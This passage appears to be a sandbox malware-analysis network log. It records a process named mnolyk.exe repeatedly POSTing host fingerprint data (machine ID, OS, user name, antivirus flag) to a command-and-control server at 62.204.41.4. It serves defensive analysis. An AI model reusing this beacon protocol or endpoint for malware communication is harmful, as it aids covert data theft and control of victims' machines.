Feb 6, 2023 18:36:39.759475946 CET	607	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.7	49888	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:39.931255102 CET	608	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:39.997347116 CET	608	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.7	49889	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:40.164302111 CET	609	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:40.229357958 CET	609	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.7	49890	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:40.402321100 CET	610	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:40.467500925 CET	610	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.7	49891	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:40.650923967 CET	611	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:40.715030909 CET	611	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.7	49892	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:40.888978958 CET	612	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:40.951904058 CET	612	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.7	49893	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:41.133872032 CET	613	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:41.200634956 CET	613	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.7	49894	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:41.381592989 CET	614	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:41.445008993 CET	614	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.7	49895	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:41.619812965 CET	615	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:41.683928013 CET	615	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.7	49741	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:01.744620085 CET	449	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:01.808621883 CET	449	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.7	49896	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:41.854218006 CET	616	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:41.918668985 CET	616	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.7	49897	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:42.089660883 CET	617	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:42.155524969 CET	617	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.7	49898	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:42.338053942 CET	618	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:42.403964043 CET	618	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.7	49899	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:42.575366020 CET	619	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:42.640623093 CET	619	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.7	49900	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:42.821924925 CET	620	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:42.888844013 CET	620	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.7	49901	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:43.063640118 CET	621	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:43.127892017 CET	621	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.7	49902	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:43.303335905 CET	622	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:43.368645906 CET	622	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.7	49903	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:43.538749933 CET	623	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:43.603050947 CET	623	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.7	49904	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:43.781749964 CET	624	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:43.847826958 CET	624	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.7	49905	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:44.026160002 CET	625	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:44.092535973 CET	625	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.7	49742	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:01.986509085 CET	449	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:02.050532103 CET	450	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.7	49906	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:47.288237095 CET	626	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:47.353909969 CET	626	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.7	49907	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
